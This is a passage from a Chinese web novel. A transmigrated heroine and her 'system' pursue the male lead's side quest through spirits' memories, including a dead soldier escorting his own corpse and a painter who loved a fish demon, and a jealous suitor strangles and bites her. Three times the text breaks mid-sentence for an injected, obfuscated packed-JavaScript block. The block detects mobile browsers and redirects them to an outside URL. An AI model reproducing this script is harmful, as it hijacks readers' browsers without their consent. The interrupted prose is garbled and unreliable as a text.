【支线任务为常驻任务,需完成前置任务——“攻略男主”才能开启】 还有前置条件? 叶熙熙发现这穿书系统的可玩性还挺高。 无论如何,先接了再说。 小悲朝枢明伸出手,掌心里躺着一团流动的球体:“这是一份记忆,跟着他,你能找到那个人的踪迹。” 她看向叶熙熙:“不如一起?” 这份记忆中有男主仇人的信息,应该是男主支线任务中的重要部分,叶熙熙决定去看个究竟。 她与枢明将手放到那团记忆之上。 再度睁开眼睛,叶熙熙已置身于全然陌生的所在。 万里黄沙,脚边横七竖八躺着十几个兵卒的尸体。 死状惨烈,无疑是一场恶战。 尸堆中坐着一个幸存者,他茫然地看向周围,对同伴的死亡已经麻木。 过了一会儿,他似乎反应过来,自己走了大运,成为阎王手底下的漏网之鱼。 叶熙熙以为他要爬起来离开这里,却不想这人起身,第一件事是找人。 经过一番辨认与翻找,他把一具尸体从尸堆中拖了出来。沙漠中干燥缺水,在加上太阳暴晒,尸体虽然不易腐烂,但是会很快晒干。 于是他从其他尸体上找到足够多的布料,包裹住那人的脸和手,然后卸下死马的缰绳,系在尸体的腰上,拖着它往远处走去。 叶熙熙的视角并没有跟随他离开,因为她发现,那人很快从另一个方向出现了,他也不明白为什么一直往前走还会走回来。 但是现在,这里不止是一地尸骸了。 他在这杳无人迹的死地,看到一顶突兀的营帐,干涸的眼睛睁大了。 叶熙熙跟随他三步并两步走到帐篷里。 空无一人,只有桌上放着几碗水,他扑上去,喝得一滴不剩。 “别怕。” 他转过身,看到一个陌生女子凭空出现在帐中,吓得把碗掉在地上 “这里有很多水,你可以慢慢喝。” 恬静的女子邀他坐下,问:“我看外面有一具尸体,脸被裹住了。” “那是我结拜的兄弟,我答应了要送他回家。”他问女子,“你是谁,为什么会出现在这里?” “我是这座帐子的灵,出现在这里,是因为我听到了你的愿望。”女子答。 “可以跟我讲讲,你们结拜的故事吗?” …… 他是个读书人,来国都是为了拜谒大人物,提携他做个门客。 当他把这件事讲给军中的兄弟们听,其他人哈哈大笑:“是提携了,只不过给你提携到前线来了!” “所以你真的是个秀才?”一个浓眉大眼的壮汉问。 “我只是碰巧叫这个名字罢了。”他道,“秀士,才能卓越者也,我不过读了几本书,愧不敢当。” “要是真做了门客,跟在当官的身边,岂不是天天吃香的喝辣的!” 一个年纪不大的兵垂头丧气:“早知道自己会被困在这个鸟不拉屎的地方,我就应该在来之前求我爹娘,赶紧给我娶个老婆!” “丫缺不缺德,”壮汉削他脑袋,“来了咱们这儿,不是今天死就是明天死。你死了,耽误人姑娘一辈子?” “站着说话不腰疼。”小兵抱着脑袋,“谁不知道你走了狗屎运,娶了个好媳妇,还给你生个大胖小子。” “我倒情愿是个闺女,小子有什么好,还不是一茬一茬往战场上送。” “在乱世,宁做女,不做男。”一个满脸褶子的老兵说道,“你们是不知道我小时候……” 剩下几个人互相对视一眼:“完,这话匣子又给他打开了。” “……我小时候,闹饥荒,不像现在,还能当兵换口饭吃。那个时候讲一个‘易子而食’,我差点就给别人吃了,不知道是不是老天开眼,那个人忽然变卦了,把我妹子拿走吃了。我当时就知道了,这人是个嫩瓜蛋子,估计头一回吃人,女的肉多酸啊,要吃也应该吃男的。所以说,在乱世,还是当女的好,就算是吃人,也是男的先被吃……” 老头一个人在旁边叨叨,其他人不接话。 壮汉叹了口气:“说起我媳妇,也不知道她现在过得怎么样。老爹老娘走得早,家里的铺子都是我俩一起忙活,现在我出来了,留她一个人又看铺子又拉扯孩子。我真恨我不是个当官的,给不了她们娘俩好日子。” 有人问:“赵秀才,怎么平常也不见你提起家里?” 他摇摇头:“我从小没见过我爹妈,是祖母把我带大的。后来祖母她老人家去了,我才一个人去了国都。” “不容易。”壮汉拍拍他肩膀,“这样,以后你就是我刘二的亲兄弟,等仗打完了,你跟我回家见见你嫂子,以后我们就是你的家人。” “这哪行。”他摇头,由衷道谢,“平日承蒙刘兄关照,我在军中不愁吃喝,大恩大德已经无以为报。我怎么好意思赖上你跟嫂子。” “读书人说话就是啰嗦!哪儿来的赖上不赖上,你以为我让你吃白食啊,我那铺子缺人,你得过来给我干活!” “咱们刘兄不厚道啊,”先前被他锤了脑袋的小兵起哄,“之前我说去他铺子里,给他打白工,他都不要,说嫌弃我!” “你也不看看你这娘儿们唧唧的样儿,连刀都拿不动,我能指望得上你?”壮汉寒碜他。 “他不娘?一个掉书袋的酸人。”小兵忿忿。 旁边的人笑他:“你有爹有娘,偷着乐吧。” …… “就是这样,我们成了兄弟。” 他低下头:“我答应他,打完仗跟他一起去找嫂子。现在他死了,无论如何我也得把他带回去。” 女子问:“那其他人呢?” “其他人?”他不知她何出此言,“他们都战死了,就在帐子旁边,你没看到吗?” 女子又问:“你不带他们回家吗?” “我一个人,能把刘二带出沙漠已是难得,你还想让我把他们都带走?”他感觉莫名其妙,“况且,他们很多人早就没有家了。” “回去,又能回哪儿去呢?” 听完他的话,女子不言。 入夜了,沙漠温度骤降。帐子里暖和,他恳请将刘二的尸体搬进来,留宿一夜,女子应了。 他打算明天一早就出发:“你知道怎么才能走出沙漠吗?” 女子给他指了一个方向。 他看着她沉静的眉眼,忽然心生好奇:“你说你是帐灵,天下居然还有这种灵吗?” 见女子微笑不语,他又问:“你说你是听到我的愿望而出现,然普天之下,众生皆有所愿,你忙得过来吗?” 女子终于开口了:“其实,我来这里,是为了找一个地方。你可曾听说过碧落之墟?” 他摇头。 女子又说了几个人名,可他听都没听说过。 “你为何要找这个碧落之墟,这些人又是你什么人?” “碧落之墟是我的家,”女子这样说,“他们是我的家人。” 第二日,他醒来时,女子已经不见了踪影。 他装了些水,在空空的帐子里跪下,叩谢她的恩情。 也不知道女子能不能听到。 缰绳在手上缠了一圈又一圈,他拖着刘二的尸体,迎着从缝隙中透进来的光明,掀开帘子。 忽然间,有凉丝丝的东西落在额头上。他摸了一下,是水。 顿时惊愕地抬起头。 琼空与沙场,上下一白。 漫天飞雪。 …… 他顺着女子所指的方向,靠着水袋和那个与刘二的约定,走出了沙漠,来到边城。 在城门外边,他被一个道士拦下来:“兄台这是往哪去?” 那道士瞥了一眼他身后的尸体:“怎么还带了个死人?” 他把事情的原委给道士讲过,然后问他去朔城怎么走。 他记得刘二的家在朔城。 “朔城在南边,你不用进城门,直接往南走就是了。”道士指着身旁的独轮辇,“反正也不远,我跟你一道,推着这位老兄回家吧。” 他觉得也好,刘二被他拖了一路,着实受苦了。 到时候去见嫂子,用车推着也体面。 道士看着弱不禁风,力气却不小,一个人就把刘二抬上了车。 启程前,道士问他:“你不把他脸上的布拆下来看看吗?” 他摇头。 一开始把他的脸裹住,是怕沙漠中太阳太毒,把他烤得面目全非。 现在走出了沙漠,他发觉自己无意中做了一件妙事。刘二脸上的布,何尝不是一种尸布呢? 它罩在刘二脸上,似是在维护一位士卒最后的尊严。 就算要揭开,也应该让嫂子来。其他人,包括他在内,都不能代劳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168799|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你走了一路,应该很饿了吧,要不要吃点东西?” 他摸摸肚子,的确,他从醒来之后就没进过食,按说现在应该都快饿死了,可他就是一点胃口都没有。 真是怪事一桩。 他想起来那个自称帐灵的女子,想起第二天一早那场大雪,还有雪花落在额头的那一凉。 难道是那场雪,让他变成了非人? 独轮辇吱呀吱呀叫唤了一路,他把女子的事跟道士说了,问他自己是不是撞到了鬼。 道士思忖片刻:“你没撞到鬼,如她所言,她是个游荡在人间的灵。” 走了一天一夜,他们终于来到朔城。 道士一路打听,找到了刘家铺子的位置。 大门紧闭,主人似乎出门办事去了。 “你找刘家娘子啊?”一个路过的老妇对他们道,“她男人刚死了,带着孩子改嫁了。” 他心头一堵。 他看着刘二的尸体,想起他在军中说妻子千好万好,千难万难,想起他无数个日夜的挂念与心疼,再看看面前这扇冰冷落寞的门,忽然替刘二有些不值。 不过一个寡妇,独自带着孩子,想在这乱世中活下去谈何容易。 早点寻个好人改嫁,还能少受点罪。 道士摇头叹息:“刘二的朋友把他尸骨送回来了,想见他媳妇一面。” 却不料那老妇疑惑道:“刘二?” “刘二死了都快一年了,之前一点音讯都没有,怎么突然冒出来个朋友,还找到了他的尸骨?” 他呆在原地。 一年了,难道他从沙漠里走出来,用了一年? 老妇道:“那刘二战死在北境,消息传过来,他媳妇哭了三天,然后变卖了铺子,带孩子回娘家去了。” “正巧买她铺子的人也姓刘,前阵子刚死,他媳妇连丧都不发就改嫁了,我们都是最近才知道她男人没了。” 原来刘二的妻子回了娘家。 这一波三折,他愣在原地,一时间都不知道该说什么。 道士问过刘二媳妇的住处,推着辇去找她。他跟在后面,心里想着,该怎么跟这位素未谋面的嫂子解释,为什么过了一年才把刘二的尸首送回来。 凭着老妇的描述,他们寻到了刘二媳妇住的小院。 道士对他道:“她就在里面,你进去吧。” 小院开着门,他径自走进去,看到堂屋里坐着一位妇人,上去唤她:“嫂子……” 妇人正在做针线活,也不抬头。 他走近了些,一颗心不知为何越跳越快:“嫂子,我是刘二在军中的兄弟,我带他来看您了。” 妇人抬起头,忽的露出笑脸:“回来了?” 就在他如释重负之时,一个孩子从他身后跑过来,扑到妇人怀中。 母子二人说着亲昵的话,他浑浑噩噩地走到外面,问道士:“她们,为何看不见我?” 道士叹了口气,指着车上的尸体:“打开看看吧。” 尸体脸上的布条剥落,他看到了自己。 这一路上,他拖着自己,走出沙漠,途经边城,来到刘二的家。 “你之前跟我说的那个女子,你问是不是撞见鬼了。”道士叹气,“我说你没遇到鬼。” “是她遇到鬼了,她遇到你了。” “那场雪,是她在超度那些亡灵。” “她知道你有执念,所以指引着你来这里。” “现在你见到了刘二的媳妇和孩子,她们过得很好。” “你的执念可以散了,离开吧。” 【男主支线任务完成度,40%】 再次睁眼,叶熙熙回到原地,看着枢明和小悲,三个人神色各异。 尤其是枢明,虽然他素来神色浅淡,但是她能感觉到他的迷惑。 至少从这段记忆来看,他要找的仇人,是个挺善良的姑娘。 “一场雪便能度化亡灵,”叶熙熙问,“她到底是什么人?” 小悲直言:“毫无头绪。” “还有别的关于她的线索吗?”枢明问。 “我没有了。”小悲看向她,“你有吗?” 叶熙熙:“她说她在找一个地方,碧落之墟,还有她说的那些名字,杯珓,燧乌,兮烛,你们听说过吗?” 小悲摇摇头,眸光澄澈,但怎么看怎么像是在装傻。 “我先走了。”话音未落,枢明先消失了。 又过了一会,他折返回来,对叶熙熙说道:“劳烦姑娘和我同去一个地方。” 叶熙熙出于对任务对象的尊重:“哪里?” 枢明面色诚恳:“你的卧房。” 5. 狗发疯 叶熙熙没想到自己会这么快返回卫述。 更没想到,自己回来的目的是带着男主直奔自己的卧房。 依枢明所言,女主是仙庭正儿八经登记在册的神仙,所以无论是地位还是能力都比他这个妖仙要强上一截, 女主有个从仙庭带到凡间的法宝,据说能够上通三十三重天,下达十八泥犁地狱,寻踪觅迹,是找人的利器。 这个利器,现在就放在女主卧房之中。 叶熙熙:“既然有这种外挂,你为什么一开始不说?” 还非要美其名曰请她帮忙,然后仙人跳把她卖给女二,从女二手里拿到寥寥无几的线索,受尽一番波折。 枢明斟酌了一下:“寻人一事,毕竟因我而起,若非无奈,我也不愿如此麻烦于你。” “听听你说的是人话吗?”随着二人步入卧房,她扯扯唇角,“照你这么说,你宁愿把我骗到小悲手里,让她埋了我,也不好意思开口管我借个东西?” “对不住,”枢明已经是第三次道歉了,“但确实如此。况且,她知道你的身份,不会真正伤害到你。” 叶熙熙冷笑:“就冲你这么拧巴,活该成不了真仙。” 女主卧房里有一排檀木书架,架上所藏多为奇闻异录。 枢明从一只格子中取出一盏灰扑扑的灯,手指抚过之处,净如琉璃。 “此物名为镇雾灯。需找到一个雾气弥漫的所在,点上此灯,方显神通。” 事不宜迟,二人立刻出发。 叶熙熙打开门,猝不及防看到了一个熟悉的人。 “……岁梧?” 深更半夜,他一身玄衣冷肃,站在门外,看着她和枢明双双从卧房出来。 夜凉如水,岁梧脸色又压抑,周身散发的寒意,让她瞬间觉察出危险。 按照原书情节,但凡岁梧表现出这种状态,女主就离遭殃不远了。 叶熙熙的大脑飞速运转:“我们执行任务的过程中遇到点小麻烦,回来拿个东西,很快就走。” 自封君之后,少年似乎立刻完成了蜕变,从最初的青涩外露,到现在的成熟内敛,君袍加身,自带气场。 不得不说,权力是男人最好的医美。 听完她的解释,岁梧似乎只记住了两个字:“我们?” 叶熙熙知道他这是吃醋了。 在他化身疯狗之前,她在柔性劝导和粗暴打压之中选了后者。 叶熙熙当然知道柔性劝导才是上策,但是一直做知心大姐姐很累的,哪怕她自认为是天选牛马,在这个一手支线任务一手主线任务的档口,也难免压力山大。 所以她决定不再跟岁梧客气。没办法,这本书里的角色都吃这一套,扇一巴掌立马老实。 二周目里,她虽然没扇过岁梧,但她可记得,一周目里的岁梧吃完巴掌之后是何等的老实听话。 “你跟我在这儿说什么屁话,”叶熙熙不耐烦地把他扒拉到一边,“我现在真的很忙,没功夫搭理你。” 下一秒她倒吸一口凉气,岁梧目露狠辣,一手扼住她的脖颈。 “老师,是你说让我保护你,”他贴着她的耳廓,像蛇吐信一般低语,“现在又为什么不要我了呢?” “……你疯了吗,”她喘不上气来,拼命去扣他的手指,“放开我……” 岁梧抬眼,看到枢明一脸不忍,甚是刺目:“你找到别的靠山了,对吗?” 叶熙熙只恨自己忘了跟枢明要几个攻击类的术法口诀,她可是主角啊,战力第一,怎么落得这么个任人宰割的下场,一个个的都能对她为所欲为? 她现在完全受制于岁梧,抽不了他,也说不出话,只能努力往后望,用眼神向枢明求救。 但是她忘了男主是个人渣。 枢明转身回到卧房,砰得一下关上了门。 岁梧没有错过她向枢明求救的眼神,无法抑制的妒火烧断了理智的弦。 他把她顶在门扉上,松开手。叶熙熙终于重获自由,拼命呼吸氧气。 只可惜还没缓过来,就被疯狗咬了嘴。 岁梧在咬她,唇齿间浓浓的铁锈味,她疼得眉头紧皱,双手攀上他的肩膀,使出浑身的力气掐他的脖子。 但是岁梧没有挣脱。 相反,他甚至主动把自己送到他手上,什么疼痛、窒息他都不在乎。 他只想咬死她。 叶熙熙甚至怀疑,如果灵魂有实体,岁梧都想把她的灵魂啃掉,嚼碎,吃进肚子里。 她被自己的想法恶心到了。 可能是怕身下人真的窒息而亡,岁梧松开她的唇,改成去舔她的下颌,颈子还有锁骨,所过之处,白皙的皮肤被啃得又疼又痒。 “求求你,老师,”他低声下气地靠在她肩上,饶是被她掐得脸色发青,也依旧乖顺地受着,“别离开我。” 叶熙熙松开了他。 岁梧偏过头咳了几声,还没反应过来,就被她一巴掌呼在脸上。掌风之厉,打得他忘了咳嗽。 “疯子。” 他惊讶地看到,叶熙熙脸上不知何时染了泪水。 岁梧又慌又痛,捉住她打自己的那只手,拼命蹭她的掌心:“老师我错了,我把你弄疼了……” “老师,求你,我受不了你跟别的男人在一起,我恨他,恨到想跟他同归于尽,”他痛苦的闭上眼睛,像是竭力不去回想她和枢明一起从卧房出来的那一幕,“是你先招惹我,我本来只想偷偷的看着你,不去惊扰你,是你先允许我恋慕你的……” 神仙的特殊体质,让叶熙熙受过伤的位置很快恢复如初,但是岁梧就没这么幸运了,他脖子上有青痕,脸肿的老高,眼睛也哭红了。 叶熙熙平复下来,看着他的眼睛:“以前,我不知道你是个疯子,所以我觉得可以把自己托付给你。” 岁梧睁大眼睛。 “但是现在,我不想跟疯子有任何牵扯。”她指着大门,“你可以滚了。” “老师……” 在叶熙熙冷漠决然的目光中,他不敢多话,颓然走出了国师府。 过了一会儿,她调整好状态,把松松垮垮的领口和耷拉下来的腰带恢复原样,一脚踹开了房门,朝里面的人走去。 枢明似乎知道她想做什么,后退一步,把灯置于胸前:“你们之间的事,我不好判断,所以不敢插手。” “教我几个打人的术法,”刚才那一脚让她消了不少气,叶熙熙没打算把他怎么样,“还有对付神仙和鬼怪的。接下来这一路,要是有机会的话,我要先练练手。” 枢明自然没有理由拒绝。 一会儿工夫过去,叶熙熙将几句术法刻在脑中,朝枢明点头:“我好了,我们出发吧。” 男子见她意志坚决,不由得神色微动,作揖道:“幸得姑娘援助,枢明感激不尽。” 【男主攻略进度加20,当前攻略进度为38】 系统适时的提示音,无疑是对她最好的报偿。她摆摆手:“废话少说。接下来我们该去哪儿了?” …… 两人找到一片大湖。 月华之下,四周轻雾飘渺,枢明点上灯,亮光驱逐了两人身边的朦胧。 现在他们好像在一个透明的果核内,周围密不透风的雾气将他们包裹住。 叶熙熙凝神等待着。 忽然,宛如一条舌头舔去果脯上的糖霜,他们面前一个方向的雾气被擦净了,露出后面一条林荫路。 他们踏上那条路,不消片刻,终于看到远方传来的星星灯火,是个村子。 枢明观察四周:“山北为阴,水断气埋,是为绝地。” 村里黑黢黢的,明明是夜晚,却隐约可闻锣鼓喧天,不知道是不是在欢迎他们的到来。 委实诡异。 然而来都来了,哪儿有不进去的道理。 两人踏进村口,循着锣鼓声走去。 村子中心人头攒动,原来是在祭祖游神。人们列于道路两侧,颔首低眉,规规矩矩地迎着一支队伍,打头的是个面上抹彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168800|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老头,举着黑旙,嘴里吆喝着什么,叶熙熙听不懂。执鼓、吹骨哨排箫者紧随其后,吹吹打打。最后是抬神的四个壮汉,肩上扛着大供台,蒙了一大块红布,把神像遮得严严实实。 叶熙熙的注意力被神像吸引了,她第一次见这么矮的神像。 抬神壮汉走到她面前时,红布被微风吹开一个角,露出一截瓷白的手,纤纤玉指往上一抬,直指叶熙熙的脸。 怪不得这么矮,这神像居然是坐在供台上的。 鼓乐声倏地喑哑了,队伍停下来。 俯身迎神的人们站直,顺着神像所指的方向,恫恐的视线定在她和枢明身上。 方才他们低头时不显,此时露出额头,叶熙熙才看到他们眉心处都点了两颗红痣,活像是被蛇咬过。 叶熙熙咽了一口唾沫。 难道这本狗血虐恋小说,还有恐怖元素? 队伍中走出一个巫祝男子,样貌清隽,手握一把骨箫:“瓷仙娘娘说了,来者便是客,还请二位今夜留宿饶安村。” 叶熙熙又望了望那供台上的瓷仙娘娘,被红布盖得严严实实,仿佛刚刚伸出来的手只是她的幻觉。 她和枢明对视了一眼。 枢明看向巫祝男子,接受了他的留宿邀请:“多谢。” 游神仪式一经打断,众人似乎都没了兴致,草草结束回家去了。 “今日是瓷仙娘娘寿辰,”男子领着他们二人回到自己的住处。 枢明道:“是我们冲撞了,实在抱歉。” “哪里的话,”男子从灶里取出热好的米汤,“我叫顾垣,不知二位如何称呼?” 叶熙熙与枢明报上名字,谢过他的款待,并未动筷。 叶熙熙脑子里还是神像那只伸出来的手:“瓷仙娘娘是活人?” “瓷仙娘娘是仙人,每逢寿辰便会降临神像,这便是为何你看到那神像能动。” 仙人? 她心道,哪家的仙人一出场便如此诡谲可怖。 顾垣家里只有一张床,叶熙熙是现代人,没什么顾忌,觉得三个人挤一挤也没什么。 她一个神仙,而且学了些术法,不怕顾垣会对她行不轨之事。 但是枢明执意要去睡草垛,顾垣也坚持要在地上凑活一晚,叶熙熙懒得跟他们谦让,直接去睡床了。 虽说是“床”,其实就是一堆土上铺了张席子。 叶熙熙一直没睡,闭目留意着周围是否有异动。 枢明安分的躺在草垛里;顾垣躺在地上,呼吸匀称,不像是会突然起身作妖。 夜晚静谧,她躺着也没事干,脑子里开始想方才发生的一切。 从诡异的神像,到不正常的村民,再到一张破碎的,湿漉漉的脸。 疯狗。 饶是叶熙熙不停劝慰自己“他是书里的男二,不能对他怎么样”、“自己的最终目标是回到现实世界,不要跟纸片人置气”,还是忍不住在心里骂他。 就这么胡思乱想着,她一不小心睡着了。 睡意正浓时,忽然有东西落到她额头上,冰冰凉凉,她猛地睁开眼睛。 顾垣不知道什么时候醒了,俯身直勾勾地盯着她,手里还拿着一只毛笔,蘸了红浆。 叶熙熙心漏跳一拍,伸手去蹭额头上的东西,拿到眼前一看,满指的血红。 顾垣在给她点红痣! 她全身的汗毛都竖起来了,这跟她以往所遇到的公开闹事、喊打喊杀不同,这是恐怖事件啊! 当你遇到鬼,而且这个鬼还想带走你,你该当如何? 叶熙熙的肌肉记忆忽然觉醒了。 她扬起手,狠狠地扇了顾垣一个耳光。 跟随着清脆的巴掌声,她眼前一黑,身体像是被什么东西吸进去了。 这感觉如此熟悉,叶熙熙无论如何也想不到,下一秒自己居然出现在了系统空间。 看着好久不见的系统,她简直有冲上去抱住它的冲动。 ……她发誓绝对不是因为害怕。 6. 鱼目恩 可惜系统毫不留情地戳破了她:“检测到宿主有异常情绪波动,疑似过度惊吓。” 叶熙熙心有余悸:“那个叫顾垣的给我点了红痣,这个会有什么影响?” “按照剧情,宿主接下来会进入顾垣的回忆,在这份回忆中你会再次见到男主的仇人。” 所以,一切都还在支线任务的范围之内。 叶熙熙稍微松了口气,换了个话题:“你之前到底去哪儿了?” “进行常规更新。” 她捕捉到漏洞:“你不是之前刚更新过吗?” 系统以沉默来回应她的追问, 叶熙熙叹了口气,但也别无他法。她接着跟系统简要描述了见到女二,和第一份回忆的事。 “男主的仇人到底是什么身份,她真的把男主的名字从仙箓上毁掉了?”一想到女子那身温柔深沉的气质,她觉得这件事一定另有隐情。 “所有真相会出现在后续的任务中,宿主加油。”系统棒读,“另外提醒宿主,这是你进入书中的第三天,你还没有开始接手原主角的日常任务,如果再拖延下去,将会不利于你维持人设。” 三天,叶熙熙觉得自己好像已经在书里待了一年。 原主角的日常任务,她仔细回忆了一下原著,主角每天好像不是在被男主虐,就是被男二虐,要不就是被女二扔进瓷窑里烧,她有正经工作吗? “国师作为卫述子民的神明,要日日聆听并实现子民的心愿。卫述国内大大小小的国师庙不下百座,每日礼拜的民众少说也有千人。过去的这三天,有将近四千个心愿加入待办事项。” 看叶熙熙露出死鱼眼,系统继续道:“所以我去更新了运行程序,支持心愿兑现自动化,让宿主不会有太大压力。但是聆听心愿,把握最新民情,仍需要宿主自己完成。” “我的好系统,”叶熙熙由衷道,“您总算干了件人事。” 接下来,按照系统的指导,她尝试随机抽取民愿进行阅读。 “我比较好奇,原主角应该没有系统吧,那她要是想帮子民们实现愿望,岂不是要亲自挨家挨户跑?” “理论上来说是的,不过愿望多了,也很容易找到技巧。”系统回复,“比如一个年轻男人许愿发财,而一位万贯家财的婆婆许愿年轻的□□,便可以给这二人牵线搭桥。” “……我以为原主是纯靠自己的神力,没想到也会让民众自行解决,内部消化。” “也不尽然,有的时候,如果找不到合适的对象,原主只能亲身上阵。” 叶熙熙惊恐地睁大眼睛:“你说的是中文吗,我怎么好像听不太懂?” “……宿主的思想太肮脏了。我指的是,有些人许愿国师亲自现身,想要倾诉或着安慰的时候,原主会亲自去做。” “对不起,之前看原著的时候,原主在我的认知里实在是太逆天了,让我有一种她连屎都敢吃的错觉。” 话是糙了点,但是准确表达出了叶熙熙对原主的敬畏。 系统:“……” 沉默了一会儿,系统继续说:“这个世界尚处于落后的状态,信息闭塞,民众思想单纯,所以一般许下的心愿也很淳朴。” “……我希望可以天天躺着,不吃饭,只睡觉,而且不会死。” 叶熙熙深以为然:“确实很淳朴。” “……我希望成为国君夫人,和国君及下列男子一度春宵。” 她数了数附在后面的名字,足足有二十七个。 “……愿司马贺纬早日下狱,我好抢走他的夫人。” 居然在这里也能遇上曹贼。 “你已经熟练掌握了民愿查询程序的使用方法,以后需要登录程序的时候,可以直接唤醒我。” 叶熙熙察觉系统要把她送回书里了,连忙制止:“等等,可以告诉我接下来的剧情走向吗?” 她打死也不会承认,自己是害怕再遇上恐怖情节。 “接下来宿主会进入顾垣的回忆,”系统似乎在思考,“当然,我也可以为宿主省流,让宿主直接空降到最关键的剧情。” “这是一个凄美的爱情故事,”它棒读,“顾垣原本是一位民间画师,因技艺高超备受贵女们的追捧。一日他为一女子作画,对其一见钟情,故意在画像的眼中留白,借口画作尚未完成,以求与她再会。” “结果第二回见面,女子却换了一个人,无论是脸还是性格都截然不同。顾垣找不到心爱之人,患了心病。” “又是一日,他误打误撞步入仙境,与那女子久别重逢。他们共同生活了月余,女子又消失了。” “顾垣因此得了一场大病,性命垂危之际,一个重要的人出现了。” 这个人的身份不言而喻,就是支线任务中男主的那位仇人姑娘。 只要没有恐怖故事,叶熙熙就放心了:“感谢省流。” 再一睁眼,深窗幽烛,一室萎靡,顾垣躺在床上,面颊瘦削,已是油尽灯枯。 他直愣愣地瞪着床边的女子,素雪净霜,与周围的一切格格不入。 “你是谁……你要带我走吗?” “我是你为她作的那幅画的灵。”女子说,“我来替她捎句话,她希望你好好活下去。” 如此令人熟悉的自白,叶熙熙记得她上次还自称是帐灵。 “她是神仙,对吗?”顾垣叹气“仙人有别,所以我们终归无法修成正果。” 第一眼初见,霞姿月韵,她一颦一笑皆是拘谨,不笑的时候,便睁着一双杏目,含情潋滟。 他早该想到,她不是凡人。 女子却摇了摇头:“她不是神仙,与你结缘,不过是为了报恩。” 她道:“五年前,你在山下小溪中救了一只鱼妖,那鱼妖为了报答你,才跟你有了这段露水情缘。” “竟有此事?”顾垣惨笑,“可我现在都快死了,报答……这便是她想要报答我的?” “为何连最后一面,都不肯与我相见?” 女子答:“因为她已然耗尽修为,变成一条普通的鱼,游回到那条小溪了。” “她从未想过要你相思入骨,积郁成疾。” “第一次见你,她借用了别人的身体,只有你的眼睛能看到她的真实面目,其他人看到的,都是另外一个女子。” “这便是为何,你打听出她的身份,找到的却是另外一个人。” “但你不知,那位被你错认的女子,不仅是千金贵女,而且倾心于你。鱼妖为你牵线搭桥,是为了给你一段好姻缘,让你以后能够平步青云。” 顾垣苦笑:“人心非石,孰能轻易移情。我只庆幸,当初一口回绝了那位小姐,免得辜负了她。” 女子笑笑:“是鱼妖多此一举了。我也劝过她,若要还愿,便干干净净地来,痛痛快快地走。后来看你着了疯魔,她又于心不忍,再度与你续了一段前缘,直至修为耗尽。” 顾垣道:“既然如此,倒不如就让我死了,也好下辈子再去找她。” “你是真心求死。”女子得出结论,“在你死之前,随我去个地方吧。” 眨眼间,两人出现在一座山下,女子指着面前的溪流,问他:“五年前,你便是在这里救了她,还记得吗?” 顾垣皱眉:“不记得,甚至印象中我似乎从未来过这里。” “因为你没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168801|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼见过这一切,”女子说出了让他费解的话,“现在闭上眼睛,试着听听周围的声音。” 虽然怪异,但他还是照做了,闭上眼睛的那一刻,听着溪水泠泠,丛中虫鸣,忽然感觉有种莫名的熟悉:“怪哉,为何闭上眼睛,便觉得自己仿佛在这里待过许久呢?” “你可记得五年前你住在哪儿?” 在顾垣迷茫的眼神中,女子指了指山上:“你住在上面的草庐内,跟着一个跛脚道士。” “你又是否记得,自己当初为何从山中,搬到国都去住?” “因为我想去国都学画,只有国都有昂贵的丝帛,我想在丝帛上画……” 他怔住了。 女子悯然:“你为何会突然想要学画?” “因为那个时候,你的眼睛能看见了。” 他想起来了。 他从小是个瞎子,流浪街头,被跛脚道士捡到,养在身边。 他眼盲,却能在山中穿梭自如,因为他能够靠声音辨别位置,尤其是小溪的声音,只要他听到水声,就能判断出自己身在何处。 某一日他听到溪边有人啜泣的声音,是个女子,问过缘由,那女子原是一只妖,渡劫失败了,几百年的修为化为乌有,只留下一条小命。 他知道这山中哪处灵草茂盛,瞒着道士,将女子带去吸收山中灵气,好生修养。 女子曾戏言:“小郎君生得好样貌,无人采撷委实可惜。” 他面红耳赤,奈何眼睛看不见:“若是有机会,能够一睹姑娘芳容就好了。” 很快,女子养好身体便消失了,而他的眼睛忽然能够视物了。 还没弄清楚缘由,跛脚道士便把他赶下了山:“你那双眼睛……也罢,我这里是断然容不下你了。” 他跌跌撞撞下了山,站在溪边,不知何去何从。 直到遇见一个路人,他言自己要去国都买丝帛作画。 “将你心中那人画在帛上,留住她,待日后思念之时,便可拿出来看看。” 他隐隐约约想起自己心里约莫是有这么个人的,但是她长什么样子,却记不清了。 他茫然回首,望了望大山,怪哉,这里是什么地方,他又为何会在此。 之后的事情便清楚了,他去了国都,迷上作画,机缘巧合成了名家。 “她本来是不愿让你想起来的。”女子道,“但是我觉得应该让你知道,你的身体里有她的一部分。” “至少为了她的夙愿,你应该活下去。” 顾垣恍若未闻:“原来如此。” 